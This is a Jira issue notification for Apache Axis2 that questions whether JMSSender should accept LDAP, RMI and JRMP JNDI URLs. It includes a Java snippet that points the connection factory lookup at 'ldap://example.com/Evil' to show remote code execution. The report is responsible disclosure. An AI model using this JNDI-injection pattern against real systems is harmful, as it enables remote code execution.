Letian Yuan created AXIS2-6062: ---------------------------------- Summary: Is such a flexibility necessary allowing LDAP (and RMI, JRMP, etc.) protocol in `JMSSender`? Key: AXIS2-6062 URL: https://issues.apache.org/jira/browse/AXIS2-6062 Project: Axis2 Issue Type: Bug Components: JMS transport Affects Versions: 1.8.2 Reporter: Letian Yuan
In "org.apache.axis2:axis2-transport-jms", there is a method, `{{{}org.apache.axis2.transport.jms.JMSSender.invoke{}}}`, designed to send a JMS message. However, if we send a JMS message like this: {{ MessageContext context = new MessageContext();}} {{ context.setProperty("TransportURL", "jms://foobar?transport.jms.ConnectionFactoryJNDIName=ldap://example.com/Evil");}} {{ JMSSender sender = new JMSSender();}} {{ sender.invoke(context);}} Then, arbitrary commands from remote server "ldap://example.com/Evil" would be executed. We want to discuss with you about it. First, excecuting arbitrary commands from remote server is quite dangerous. Second, as far as we know, no one would use LDAP protocol to get `{{{}ConnectionFactory{}}}`. Third, it seem this behavior has not been documented in your “User’s Guide”, so library users might not know this API of sending JMS messages can be used to execute arbitrary commands. So, I think that library users are very possible to misuse this API. For example, concatenating user input to the parameter of `{{{}invoke{}}}`. Or, making the parameter of `{{{}invoke{}}}` available in a configuration file such as `{{{}foobar.properties{}}}`. We know that such cases rarely happen and might not be your design purpose, but it is possible anyway. As long as an attacker can control the parameter of `{{{}invoke{}}}`, remote code injection might happen. Therefore, we want to ask you whether it is your design purpose and whether it is necessary for LDAP protocol (and RMI, JRMP, etc.). This is just our opinion, and we are willing to discuss it with you. -- This message was sent by Atlassian Jira (v8.20.10#820010) --------------------------------------------------------------------- To unsubscribe, e-mail: java-dev-unsubscr...@axis.apache.org For additional commands, e-mail: java-dev-h...@axis.apache.org